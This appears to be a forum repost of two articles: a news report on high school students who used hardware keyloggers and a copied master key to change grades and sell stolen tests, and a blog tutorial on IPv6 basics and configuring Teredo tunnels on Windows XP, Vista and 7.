[h=2]Students busted for hacking computers, changing grades[/h]By Iain Thomson in San Francisco Three high school juniors have been arrested after they devised a sophisticated hacking scheme to up their grades and make money selling quiz answers to their classmates. The students are accused of breaking into the janitor’s office of California's Palos Verdes High School and making a copy of the master key, giving them access to all the classrooms. They then attached keylogging hardware to the computers of four teachers, and harvested the passwords needed to access the central files of the school network. They then used that access to change their grades slightly, nudging them up by increments so that all three got As. At the time they were caught, keyloggers were found on three other teachers’ systems, indicating the group was expanding its efforts. "They were pretty smart," Palos Verdes Estates police Sgt. Steve Barber told the Daily Breeze. "They knew exactly what to do with the computers. The scores wouldn't go up a whole lot, but enough to change their grade. They didn't want to make it real apparent something was going on." The three didn’t just confine themselves to computer hacking. They're also accused of using the master key to pilfer around 20 tests before they were given – they then worked out the answers and sold them to other students. This scam only came to light when another student heard of the offer and snitched to the school principal. "They were very bright kids," said Principal Nick Stephany. "They were in AP and honors classes. Am I shocked? Yeah. Definitely by the extent of it. None of these kids had any real trouble before." Two students have been expelled over the incident, and others are to be disciplined for receiving stolen goods. The school has also upgraded its security and has advised teachers to change their passwords. Sursa: Students busted for hacking computers, changing grades • The Register
-
[h=2]IPv6 at home, Part 1: Overview, Teredo[/h] [Edit 2010-02-25 - adding some forward links to the other parts of this series. Rewrote parts - no more mention of how slow Teredo is (it's not), and some updated comments to reflect the state of ipv6 in 2010] This blog post is part of a series on ipv6. In this part, I provide an overview of ipv6 and look at Teredo, the technology built into Windows Vista/7; in part 2, I look at AYIYA tunnels through aiccu, using sixxs net as a tunnel broker. Part 2.5 is a collection of useful ipv6 tidbits, and part 3 gets back to the original plan: Exploring ipv6 connectivity options – in this case, the tunnel offered by gogonet. NB: The tunnel described in part 3 is a lot easier to set up than Teredo. It was never my intent to advocate the use of Teredo as the prevalent way to connect a machine to IPv6. I started with it in this series precisely because I thought it would be the least comfortable option. In hindsight, I should probably have started with the easy button. Part 4 describes Hurricane Electric 6in4 tunnels, and part 4.1 shows how to set one up on a Juniper ScreenOS device. [JunOS tunnels, as opposed to ScreenOS tunnels, are shaky at this point, they work in 10.3r1, but not in 10.2r3 or 10.4r1. I may describe them when this situation has settled down a bit] For a corporate environment, I take a look at ipv6 renumbering. If you are planning to deploy ipv6 in your network, you need to think about this. [h=2]Overview[/h] I’ve been running IPv6 at home since January 2008. When I took the plunge, I did so mainly to learn about the technology in preparation of it being adopted in the field. Factors that made me finally take this step in January 2008, as opposed to pondering it since January 2001, were: The government mandate to deploy IPv6 in federal networks, while weak, will undoubtedly bring IPv6 adoption into some enterprises. When this happens, I want to be ready, and I want my team to be ready, so we can capitalize on our knowledge and can claim to have been running IPv6 since early 2008. We’re deploying Juniper SSG-5 firewalls at our techies’ homes, and these little boxes do now support IPv6 with the release of software version 6.0.0. I could have been running IPv6 using a software client, but that would have done little to prepare me for seeing it deployed in an environment I will actually encounter – namely, hardware firewalls and routers. Four of the Internet DNS root servers are now reachable through IPv6. For the first time ever, this would allow a connection between IPv6 hosts that relies purely on IPv6. This is less a technical concern than a measure of where we are with IPv6: The root servers were the last “you can’t DO IPv6 without IPv4 first” holdout, and that’s gone now. When the root servers, who are very conservative, move, it’s time for mere mortals to test the waters, too. Since most folk won’t have IPv6-capable hardware firewalls at home, I will talk about host – specifically, PC – based solutions to connect to IPv6 sites to start out with. All right, starting with: What is IPv6, and why do I care? At its core, IPv6 is simply “more address space”. The “old way” of addressing, called IPv4, with its 32-bit address space, is running out of space to use, even with the use of NAT. Predictions claim we may run out of space as early as 2012, though I would not be surprised to see us “hang on” a little longer. IPv6 in contrast has a 128-bit address space, which is ridiculously huge. This has some implications: IPv6 will rely on DNS to an even greater degree than IPv4. Let me take the example of go6.net. Its IPv6 address is 2001:5c0:0:1::6. The ‘::’ is a way of saying “multiple zeros here” in IPv6, to shorten writing it. That’s actually a fairly neat and short address, but still hard to memorize. A less ‘neat’ address may look like 2001:470:1f06:223:bd6f:6f5c:a458:2802. Good luck memorizing that one. We’ll need names, and good reverse DNS, and good DDNS. Because we have so much address space now, IPv6 does away with IPv4-style subnetting. In IPv6, every subnet is a /64. That is 16 quintillion addresses, up from 4 billion in the entire IPv4 range. And that’s just for one subnet. The goal is to avoid the pain of different-sized subnets – needing to wrestle with /26, /28 and /29 – and the even greater pain of having to change subnets, say going from a /29 to a /28 because you ran out of space and have now a few machines more than you envisioned. The IPv6 /64 subnet range is envisioned to cover all devices that could possibly be hooked up to the physical medium that carries that subnet. “Leaf nodes” – that is, sites that aren’t large carrier-grade – will receive a /48, which can then be carved up into individual /64s. This will allow for 65,000+ subnets per site, which will be plenty even for large corporations. A /48 is also what you might receive at home, depending on how you connect to IPv6. Lots of address space also means we don’t need private addresses any more. This does away with NAT, which makes life hugely simpler for applications. VPNs become easier, and protocols that embed IP information – notoriously, all the VOIP stuff like H.323 and SIP, as well as Microsoft’s SMB file-sharing protocol – also benefit. As do P2P and game applications, BTW – no more need to configure “port forwards” for these. This also means that firewalling is a must. While NAT was never meant to be a security feature, PAT or Hide-NAT in particular, as implemented in home routers, was often touted as a “firewall” feature by vendors, because by its nature, it disallows incoming connections. There are huge application-level challenges in interop, too, and I’ll get to those. So, how does an IPv6 host talk to an IPv4 host, or vice versa? The answer is “with difficulty”, if at all. Proposals for rewriting addressing on-the-fly are technically brittle. Particularly when it comes to those applications mentioned that embed IP addresses, like H.323 and SIP and SMB, rewriting that data stream is not very feasible, and not at all scalable. The best idea proposed so far has been to “dual-stack” IPv6-capable equipment: Any given host would have both an IPv6 address and an IPv4 address. It will talk to IPv4 hosts using IPv4, and to IPv6 hosts using IPv6. That is a workable way around those application-level interop challenges. At some point, of course, one would have to either phase out IPv4 or bite the bullet and do application-layer translation for those clients that are still IPv4-only. For DNS, what you need to know is: IPv4 records are A records, IPv6 records are AAAA records. Any given host can have one, the other, or both. go6.net has both, google.com has only IPv4, and IPv6-only hosts such as ipv6.google.com are extremely rare right now. Who in their right mind, after all, would limit content to a tiny portion of the Internet users. Windows XP will always use IPv4 to query DNS servers. Even to get an AAAA record, the actual query will run over IPv4. Windows Vista can run IPv6-native and query DNS over IPv6. Both Windows XP and Windows Vista will advertise their IPv6 address as a DDNS update. If you run your own DNS server at home and it is IPv6-capable, it should pick up the addresses of your IPv6 hosts. [h=2]Connecting to IPv6[/h] Alright, so how do you connect to, say, a web server, using IPv6? Your home router does not know IPv6, and even if it does, your ISP’s router is most likely not configured for IPv6, and would not forward your IPv6 packets. Therefore, you have three ways to get to IPv6 hosts, two of which are actually going to be available for most people at this point. Native IPv6. Your ISP supplies you with IPv6 address space and does all the hard work for you. Rejoice, you are done! Just that, as of this writing, unless you live in France or near one of these ISPs, you are pretty much out of luck. Comcast and other cable providers are starting to make noises about DOCSIS 3.0, which is IPv6-capable, but that is years out. [Edit] Or rather, was years out in 2008 – Comcast is now trialing ipv6 for consumers, with rollout planned in a 2011/2012 timeframe. If you have Verizon FiOS in your area, you’ll get DOCSIS 3.0 earlier – though not necessarily with IPv6 right away. If there’s no FiOS, don’t expect DOCSIS 3.0 very soon. We need other ways of connecting – of tunneling IPv6 traffic through an IPv4 network in some way shape or form. Use a tunnel broker. This is actually going to be your best bet for connecting to IPv6, which is why, perversely, I’ll discuss it in more detail in a later post. Tunnel brokers available are SixXS , which supports both hardware (static) and software/client (heartbeat, AYIYA) tunnels and gives you a full /48; Hurricane Electric, which is more geared towards static (hardware) tunnels and gives you one /64 subnet now also offers a /48; Gogonet/Freenet6, who have their own proprietary way of traversing NAT and are really easy to set up; and Earthlink R&D, which is very specialized: You connect using a custom firmware for a Linksys WRT54G router, and get a /64. Earthlink would be a good choice if you wanted to run IPv6 on your home router, not your home PC, and you don’t have a Cisco / Juniper / what-have-you at home. I’d expect most people to go with Freenet6 or SixXS and use their software client. I’m set up with Hurricane right now, but for a client setup, I’d choose Freenet6. There’s also the Apple Airport Extreme, which handles IPv6 tunnels without exposing any of the nuts-and-bolts to the user. [Edit] D-Link have released a number of ipv6 capable routers, too, as have Linksys/Cisco. Use Teredo, a Microsoft-supported tunnel that is established directly from your client machine. Teredo was meant to be used only by applications that specifically request it. For this reason, a host that has Teredo enabled would only ever use Teredo to connect to IPv6-only machines. If IPv4 is an option, it will always prefer that. So, why talk about it first? Because it ships with both Windows XP SP2 and Windows Vista/7 – enabled by default in the latter two, though not enabled for “general application use” by default – and we can expect it to be used to get to IPv6-only content, as tunnel brokers, on the outside, may seem like more work to set up. [Edit] And indeed, with the release of an ipv6 capable uTorrent and HE’s provisioning of Teredo relay servers, Teredo traffic has spiked sharply. [h=2]Setting up Teredo[/h] And here’s the breakdown of how to set up Teredo. Again, keep in mind, IPv4 will always be preferred. go6.net will show you with an IPv4 address if all you have is Teredo. Windows XP SP2 Realize that Teredo in Windows XP does not support Hide NAT, aka PAT, aka many-to-1 NAT, aka what your home router does. In Teredo language, that kind of NAT is called “Symmetric NAT”, and it’s just not supported by the Teredo implementation in XP. You can still experiment some by either sticking a host onto the Internet directly, without a home router in between. If you have an additional public IP address, you could also set up a Static NAT (aka 1-to-1 NAT), which Teredo calls a “Cone NAT” (if you allow all incoming) or “Restricted Cone NAT” (if you disallow incoming connections), and which is supported. My experiments with my router’s “DMZ” setting, to see whether that will get around the issue, have been less than successful. While Teredo claimed I was behind “cone” NAT, I still had no connectivity. Add the IPv6 protocol to your interface. Control Panel | Network Connections -> Right-Click “Properties” on your LAN or WiFi connection, “Install…”, “Protocol”, “Add…”, choose “Microsoft TCP/IP version 6?, hit “OK” until you’re out again. Open a command line – “cmd” from Start | Run – and run “ipconfig /all”. You should now see a “link local” IPv6 address, which looks something like “fe80::214:85ff:fe2f:8f06%4?. This won’t be useful for connecting to anything “out there”, but it’ll let you know IPv6 is up and running. Configure Teredo. Assuming you are in the US, the command would be “netsh interface ipv6 set teredo client teredo.ipv6.microsoft.com”. If you are elsewhere in the world, you may be able to find a closer Teredo server. If you are on a Windows domain – as opposed to a home workgroup – Teredo will disable even if you configure it. You can get around that with the command “netsh interface ipv6 set teredo enterpriseclient” The command to see the configured Teredo parameters is “netsh int ipv6 show teredo”, and the message indicating that a user is behind PAT and thus Teredo won’t work here is “Error : client behind symmetric NAT” Use an IPv6-only host to test connectivity. If you can connect to http://ipv6.google.com/, it’s working. Or you could “ping ipv6.google.com” from command line, which should show you an IPv6 address, and succeed. A useful command to use while trying different configurations is “netsh int ipv6 renew”, which will re-negotiate the Teredo tunnel. “netsh int ipv6 show route” will show you ipv6 routes. Keep in mind that Windows XP will always prefer IPv4 over IPv6 when Teredo is used for IPv6 connectivity. Unless a host has no IPv4 address, its IPv6 address will not be used. Lastly, there are reports that Firefox 2 on Windows XP does not handle IPv6 well. Try Firefox 3, or Internet Explorer. Windows Vista IPv6 and Teredo both are enabled by default in Windows Vista. Teredo also supports Hide-NAT aka PAT aka what your home router does. Woo, we’re done? Not so fast, young Arakin: In order to avoid IPv6 connectivity issues caused by default Teredo tunnels, Microsoft have configured DNS so that the system will never resolve any name to an IPv6 address, as long as the system only has link-local and Teredo IPv6 addresses. Teredo is meant to be used by applications that specifically request its use, and that does not include any browsers. Thus, we need to hoodwink Vista. If the criteria is “has only link-local or Teredo addresses”, why, then we need to supply another address. Luckly, IPv6 maps the entire ipv4 address space, so we can use that. In reality, it doesn’t matter which address we configure, since it won’t ever be used anyway. Open up the Properties of your LAN or WiFi interface, and change it to have a static IPv6 address. Use either the converted IPv4 address you figured out using the link I gave, or use the 192.168.1.2 equivalent of 2002:c0a8:102:: with a netmask of 48. Do not configure a default gateway for this address. Vista would now resolve names to IPv6 addresses, but we need to force it to route traffic through our Teredo interface first. For this, you’ll need to run a Command prompt as “Administrator”. Create a shortcut to a Command prompt on your desktop, then right-click “run as administrator”. Figure out the ID of your “Teredo Tunneling Pseudo-Interface” using “route print” and looking at the “Interface List” at the top of its output. In my case, it is “14?. Then, using this ID, add a default route that forces all IPv6 traffic through Teredo: netsh interface ipv6 add route ::/0 interface=14 Use an IPv6-only host to test connectivity. If you can connect to http://ipv6.google.com/, it’s working. Or you could “ping ipv6.google.com” from command line, which should show you an IPv6 address, and succeed. Keep in mind that Windows Vista will always prefer IPv4 over IPv6 when Teredo is used for IPv6 connectivity. Unless a host has no IPv4 address, its IPv6 address will not be used. [Edit 2010-02-24 - added Windows 7 and Troubleshooting sections] Windows 7 [this is the same procedure as for Vista, tested on Win7 x64] [Edit 2010-04-09 - replaced kludgy workaround for disappearing default route with elegant workaround received through comment] IPv6 and Teredo both are enabled by default in Windows 7, just as in Vista. Also as in Vista, Microsoft have configured DNS so that the system will never resolve any name to an IPv6 address, as long as the system only has link-local and Teredo IPv6 addresses. Thus, we need to hoodwink Win7. As with Vista, we will provide a 6to4 address. Luckly, IPv6 maps the entire ipv4 address space, so we can use that. In reality, it doesn’t matter which address we configure, since it won’t ever be used anyway. Open up the Properties of your LAN or WiFi interface, and change it to have a static IPv6 address. Use either the converted IPv4 address you figured out using the link I gave, or use the 192.168.1.2 equivalent of 2002:c0a8:102:: with a netmask of 48. Do not configure a default gateway for this address. In order for Win7 to resolve names to IPv6 addresses, we need to force it to route traffic through our Teredo interface first. For this, you’ll need to run a Command prompt as “Administrator”. Create a shortcut to a Command prompt on your desktop, then right-click “run as administrator”. Figure out the ID of your “Teredo Tunneling Pseudo-Interface” using “route print” and looking at the “Interface List” at the top of its output. In my case, it is “14?. Then, using this ID, add a default route that forces all IPv6 traffic through Teredo: netsh interface ipv6 add route ::/0 interface=14 Use an IPv6-only host to test connectivity. Try to ping ipv6.google.com or connect to http://ipv6.google.com/. Keep in mind that Win7 will always prefer IPv4 over IPv6 when Teredo is used for IPv6 connectivity. Unless a host has no IPv4 address, its IPv6 address will not be used. In my testing, Win7 would deactivate the default ipv6 route when there was no ipv6 traffic. Thanks to Sam Karim, I can present a fix for this issue: Configure Teredo to be “Default Qualified” so it will not enter into “Dormant” state. On Windows 7 Business and better: Run “gpedit.msc” from the Start Menu by typing it into the search bar or “Run” bar. Navigate to Computer Configuration -> Administrative Templates -> Network -> TCPIP Settings -> IPv6 Transition Technologies Double click the “Teredo Default Qualified” setting, change it from “Not Configured” to “Enabled”, and click OK, then close gpedit.msc. The setting should take effect rather quickly, but you can do “gpupdate /force” to force a refresh. On Windows 7 Home Premium and Starter editions, you will need to manually create a registry key. Open regedit from the Start Menu by typing it into the search bar or “Run” bar Navigate to HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Right-click the “Windows” Key and choose New -> Key, create a “TCPIP” Key (observe case) Right-click the “TCPIP” Key and choose New -> Key, create a “v6Transition” Key (observe case) Right-click the “v6Transition” Key and choose New -> String Value, create an entry called “Teredo_DefaultQualified” with a value of “Enabled” (observe case, note the underscore) Old workaround for reference until I have fully tested the above new-and-improved methods: Create a text file, name it “fix-ipv6.cmd” (make sure you can see file extensions!) and paste these lines into it: REM Because Win7 gets rid of ipv6 routes netsh interface ipv6 delete route ::/0 interface=14 netsh interface ipv6 add route ::/0 interface=14 REM Optionally, run a continuous ping here instead of through a task REM ping -t ipv6.google.com Change the ID of the interface in this text file to the ID of the Teredo interface on your system Create a task to run a continuous ping. Optionally, just un-comment the ping command in the file you just created. Control Panel | System and Security | Schedule tasks Create task (on the right) General pane: Give it a name, “Run whether user is logged on or not”, “Configure for: Windows 7? Triggers: “New”, “At Startup”, hit “OK” Actions: “New”, “Start a program”, enter “ping” into “Program/script” and “ipv6.google.com -t” into “Add arguments (optional)” Conditions: Uncheck “Start the task only if the computer is on AC power” Settings: Check “Run task as soon as possible after a scheduled start is missed”, “If the task fails, restart every” and uncheck “Stop the task if it runs longer than” After reboot, you’ll need to right-click your “fix-ipv6? and “Run as administrator” In my testing, this workaround kept the ::/0 route active. You can check using “route print -6? – you want to see the ::/0 route in both active and persistent routes. When it is inactive, it shows up only in persistent. If this all sounds like more trouble than it’s worth, then using a tunnel broker as described in part 3 may be the ticket for you. Google and v6 You can add a Google-v6-savvy DNS server, such as HE’s 2001:470:20::2, to your LAN or WiFi connection, and this will give you both ipv4 and ipv6 addresses for Google. However, as Windows will always prefer ipv4 if all you have is Teredo, ipv6 won’t be used in that case. If you’d like to use ipv6 for Google/Youtube, take a look at part 3 of this series instead, and go with a tunnel broker. Troubleshooting Test ipv6 DNS lookup from command line. Note the ping fails to resolve the name, but nslookup can resolve it. This means our DNS server has the entry, but we haven’t configured Win7 yet to use v6 addresses. >ping ipv6.google.com Ping request could not find host ipv6.google.com. Please check the name and try again. >nslookup ipv6.google.com Non-authoritative answer: Name: ipv6.l.google.com Addresses: 2001:4860:b009::93 2001:4860:b009::63 2001:4860:b009::67 2001:4860:b009::69 2001:4860:b009::68 2001:4860:b009::6a Aliases: ipv6.google.com Check that the ::/0 route has been added correctly. Open netsh, navigate to interface ipv6, and enter show route. This is what you want to see: netsh interface ipv6>show route Publish Type Met Prefix Idx Gateway/Interface Name ——- ——– — ———————— — ———————— No Manual 256 ::/0 14 Local Area Connection* 9 On my system, after changing the IPv6 address of the LAN interface, that route goes into “limbo”. Meaning show route does not show it, but route print does. In that case, you can delete and re-create it, again from netsh’s interface ipv6 context: delete route ::/0 “Local Area Connection* 9? add route ::/0 “Local Area Connection* 9? show teredo is useful to see whether Teredo connectivity is there. You want to see your state as “qualified” netsh interface ipv6>show teredo Teredo Parameters ——————————————— Type : client Server Name : teredo.ipv6.microsoft.com. Client Refresh Interval : 30 seconds Client Port : unspecified State : qualified Client Type : teredo client Network : unmanaged NAT : symmetric (port) NAT Special Behaviour : UPNP: No, PortPreserving: No Local Mapping : — External NAT Mapping : — In order for DNS to resolve IPv6 addresses, the LAN/WiFi interface must have a 6to4 address without a default route, Teredo must be working, and a default route through Teredo must be configured. Miss one of those three, and you won’t be able to resolve ipv6 DNS. Sursa: IPv6 at home, Part 1: Overview, Teredo